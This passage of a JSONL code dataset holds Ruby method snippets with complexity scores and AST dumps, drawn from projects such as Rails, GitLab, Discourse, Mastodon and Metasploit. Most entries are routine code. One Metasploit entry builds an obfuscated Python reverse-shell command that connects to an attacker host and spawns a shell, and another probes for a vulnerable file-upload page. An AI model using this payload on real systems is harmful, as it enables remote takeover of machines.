end","complexity_score":9.1,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"find_in_batches\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"batch_size\"]},{\"type\":\"int\",\"children\":[100]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"batch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_repository_check_failed\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_repository_check_at\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}","id":"9d765099-5f01-4b4c-ab52-ee3b0f0c0b6b"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/schema_dumper_test.rb","start_line":116,"raw_source":"def test_schema_dump_includes_limit_constraint_for_integer_columns\n    output = dump_all_table_schema([/^(?!integer_limits)/])\n\n    assert_match %r{\"c_int_without_limit\"(?!.*limit)}, output\n\n    if current_adapter?(:PostgreSQLAdapter)\n      assert_match %r{c_int_1.*limit: 2}, output\n      assert_match %r{c_int_2.*limit: 2}, output\n\n      # int 3 is 4 bytes in PostgreSQL\n      assert_match %r{\"c_int_3\"(?!.*limit)}, output\n      assert_match %r{\"c_int_4\"(?!.*limit)}, output\n    elsif current_adapter?(:Mysql2Adapter, :TrilogyAdapter)\n      assert_match %r{c_int_1.*limit: 1}, output\n      assert_match %r{c_int_2.*limit: 2}, output\n      assert_match %r{c_int_3.*limit: 3}, output\n\n      assert_match %r{\"c_int_4\"(?!.*limit)}, output\n    elsif current_adapter?(:SQLite3Adapter)\n      assert_match %r{c_int_1.*limit: 1}, output\n      assert_match %r{c_int_2.*limit: 2}, output\n      assert_match %r{c_int_3.*limit: 3}, output\n      assert_match %r{c_int_4.*limit: 4}, output\n    end\n\n    if current_adapter?(:SQLite3Adapter)\n      assert_match %r{c_int_5.*limit: 5}, output\n      assert_match %r{c_int_6.*limit: 6}, output\n      assert_match %r{c_int_7.*limit: 7}, output\n      assert_match %r{c_int_8.*limit: 8}, output\n    else\n      assert_match %r{t\\.bigint\\s+\"c_int_5\"$}, output\n      assert_match %r{t\\.bigint\\s+\"c_int_6\"$}, output\n      assert_match %r{t\\.bigint\\s+\"c_int_7\"$}, output\n      assert_match %r{t\\.bigint\\s+\"c_int_8\"$}, output\n    end\n  end","complexity_score":36.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_schema_dump_includes_limit_constraint_for_integer_columns\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"send\",\"children\":[null,\"dump_all_table_schema\",{\"type\":\"array\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^(?!integer_limits)\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\"c_int_without_limit\\\"(?!.*limit)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_adapter?\",{\"type\":\"sym\",\"children\":[\"PostgreSQLAdapter\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"c_int_1.*limit: 2\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"c_int_2.*limit: 2\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\"c_int_3\\\"(?!.*limit)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\"c_int_4\\\"(?!.*limit)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_adapter?\",{\"type\":\"sym\",\"children\":[\"Mysql2Adapter\"]},{\"type\":\"sym\",\"children\":[\"TrilogyAdapter\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"c_int_1.*limit: 1\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"c_int_2.*limit: 2\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"c_int_3.*limit: 3\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\"c_int_4\\\"(?!.*limit)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_adapter?\",{\"type\":\"sym\",\"children\":[\"SQLite3Adapter\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"c_int_1.*limit: 1\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"c_int_2.*limit: 2\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"c_int_3.*limit: 3\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"c_int_4.*limit: 4\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_adapter?\",{\"type\":\"sym\",\"children\":[\"SQLite3Adapter\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"c_int_5.*limit: 5\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"c_int_6.*limit: 6\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"c_int_7.*limit: 7\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"c_int_8.*limit: 8\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"t\\\\.bigint\\\\s+\\\"c_int_5\\\"$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"t\\\\.bigint\\\\s+\\\"c_int_6\\\"$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"t\\\\.bigint\\\\s+\\\"c_int_7\\\"$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"t\\\\.bigint\\\\s+\\\"c_int_8\\\"$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}]}]}]}","id":"13b1df57-4239-4514-bfc5-43308c92c17c"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/users/export_data/exports.rb","start_line":11,"raw_source":"def call\n    exports_with_files = user.exports.includes(:file_attachment).to_a\n\n    if exports_with_files.size > 1\n      results = Parallel.map(exports_with_files, in_threads: 2) do |export|\n        process_export(export)\n      end\n      results\n    else\n      exports_with_files.map { |export| process_export(export) }\n    end\n  end","complexity_score":18.35,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"exports_with_files\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"exports\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"file_attachment\"]}]},\"to_a\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exports_with_files\"]},\"size\"]},\">\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"results\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Parallel\"]},\"map\",{\"type\":\"lvar\",\"children\":[\"exports_with_files\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"in_threads\"]},{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"export\"]}]},{\"type\":\"send\",\"children\":[null,\"process_export\",{\"type\":\"lvar\",\"children\":[\"export\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"results\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exports_with_files\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"export\"]}]},{\"type\":\"send\",\"children\":[null,\"process_export\",{\"type\":\"lvar\",\"children\":[\"export\"]}]}]}]}]}]}","id":"8030acdf-7ab1-4143-a00b-384857fe053a"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/context_builder.rb","start_line":396,"raw_source":"def process_rescue(exp, _parent)\n      increase_statement_count_by(exp.children.first)\n      decrease_statement_count\n      process(exp)\n    end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"process_rescue\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exp\"]},{\"type\":\"arg\",\"children\":[\"_parent\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"increase_statement_count_by\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"children\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"decrease_statement_count\"]},{\"type\":\"send\",\"children\":[null,\"process\",{\"type\":\"lvar\",\"children\":[\"exp\"]}]}]}]}","id":"cc535153-13c3-4b34-9ae4-5c073151b545"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/queries/schemas/category_filter_dependency_representer.rb","start_line":35,"raw_source":"def json_cache_key\n            super + [filter.project.id]\n          end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"json_cache_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"+\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filter\"]},\"project\"]},\"id\"]}]}]}]}","id":"d69a429a-d5d9-48ea-bd93-ef8880813029"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/mutations/projects/star.rb","start_line":25,"raw_source":"def resolve(project_id:, starred:)\n        project = authorized_find!(id: project_id)\n\n        if current_user.starred?(project) != starred\n          current_user.toggle_star(project)\n          project.reset\n        end\n\n        {\n          count: project.star_count\n        }\n      end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"project_id\"]},{\"type\":\"kwarg\",\"children\":[\"starred\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"project\",{\"type\":\"send\",\"children\":[null,\"authorized_find!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"project_id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"starred?\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},\"!=\",{\"type\":\"lvar\",\"children\":[\"starred\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"toggle_star\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"reset\"]}]},null]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"star_count\"]}]}]}]}]}","id":"0c78838a-d476-4997-80fc-3b28668b8899"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/xoda_file_upload.rb","start_line":71,"raw_source":"def check\n    uri = normalize_uri(target_uri.path)\n    uri << '/' if uri[-1, 1] != '/'\n\n    res = send_request_raw({\n      'method' => 'GET',\n      'uri' => \"#{uri}?upload_to=\"\n    })\n\n    if res and res.code == 200 and res.body =~ /Upload a file/\n      return Exploit::CheckCode::Appears\n    else\n      return Exploit::CheckCode::Safe\n    end\n  end","complexity_score":18.5,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"[]\",{\"type\":\"int\",\"children\":[-1]},{\"type\":\"int\",\"children\":[1]}]},\"!=\",{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"<<\",{\"type\":\"str\",\"children\":[\"/\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_raw\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"str\",\"children\":[\"?upload_to=\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Upload a file\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]}]}","id":"1c35b132-2e56-4776-aa51-6bc5f441ff14"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20241104171544_create_user_member_role.rb","start_line":6,"raw_source":"def change\n    create_table :user_member_roles do |t|\n      t.bigint :user_id, null: false\n      t.bigint :member_role_id, null: false\n\n      t.timestamps_with_timezone null: false\n\n      t.index [:user_id], name: 'idx_user_member_roles_on_user_id'\n      t.index [:member_role_id], name: 'idx_user_member_roles_on_member_role_id'\n    end\n  end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"user_member_roles\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"member_role_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps_with_timezone\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"index\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"idx_user_member_roles_on_user_id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"index\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"member_role_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"idx_user_member_roles_on_member_role_id\"]}]}]}]}]}]}]}","id":"c6aa45be-b8aa-4bab-baf8-e67a9636cdb6"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/staff_action_logger.rb","start_line":184,"raw_source":"def log_post_edit(post, opts = {})\n    raise Discourse::InvalidParameters.new(:post) unless post && post.is_a?(Post)\n    UserHistory.create!(\n      params(opts).merge(\n        action: UserHistory.actions[:post_edit],\n        post_id: post.id,\n        details: \"#{truncate(opts[:old_raw])}\\n\\n---\\n\\n#{truncate(post.raw)}\",\n      ),\n    )\n  end","complexity_score":20.5,"ast_json":"{\"type\":\"def\",\"children\":[\"log_post_edit\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Post\"]}]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"InvalidParameters\"]},\"new\",{\"type\":\"sym\",\"children\":[\"post\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserHistory\"]},\"create!\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserHistory\"]},\"actions\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"post_edit\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"details\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"truncate\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"old_raw\"]}]}]}]},{\"type\":\"str\",\"children\":[\"\\n\\n---\\n\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"truncate\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"raw\"]}]}]}]}]}]}]}]}]}]}","id":"91b19c3c-ffea-4f23-bf1f-0b90684ea6d6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/cmd/unix/reverse_python.rb","start_line":59,"raw_source":"def command_string\n    raw_cmd = \"import socket,subprocess,os;host=\\\"#{datastore['LHOST']}\\\";port=#{datastore['LPORT']};s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\\\"#{datastore['SHELL']}\\\")\"\n    cmd = raw_cmd.gsub(/,/, \"#{random_padding},#{random_padding}\").gsub(/;/, \"#{random_padding};#{random_padding}\")\n    \"#{datastore['PythonPath']} -c \\\"#{py_create_exec_stub(cmd)}\\\"\"\n  end","complexity_score":19.2,"ast_json":"{\"type\":\"def\",\"children\":[\"command_string\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"raw_cmd\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"import socket,subprocess,os;host=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LHOST\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\";port=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LPORT\"]}]}]},{\"type\":\"str\",\"children\":[\";s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SHELL\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\")\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cmd\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw_cmd\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\",\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"random_padding\"]}]},{\"type\":\"str\",\"children\":[\",\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"random_padding\"]}]}]}]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\";\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"random_padding\"]}]},{\"type\":\"str\",\"children\":[\";\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"random_padding\"]}]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PythonPath\"]}]}]},{\"type\":\"str\",\"children\":[\" -c \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"py_create_exec_stub\",{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]}]}","id":"2de6f90b-3ae3-4607-9351-7d44e78be49a"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/admin/custom_emojis_controller.rb","start_line":59,"raw_source":"def action_from_button\n      if params[:update]\n        'update'\n      elsif params[:list]\n        'list'\n      elsif params[:unlist]\n        'unlist'\n      elsif params[:enable]\n        'enable'\n      elsif params[:disable]\n        'disable'\n      elsif params[:copy]\n        'copy'\n      elsif params[:delete]\n        'delete'\n      end\n    end","complexity_score":28.7,"ast_json":"{\"type\":\"def\",\"children\":[\"action_from_button\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"update\"]}]},{\"type\":\"str\",\"children\":[\"update\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"list\"]}]},{\"type\":\"str\",\"children\":[\"list\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"unlist\"]}]},{\"type\":\"str\",\"children\":[\"unlist\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"enable\"]}]},{\"type\":\"str\",\"children\":[\"enable\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]}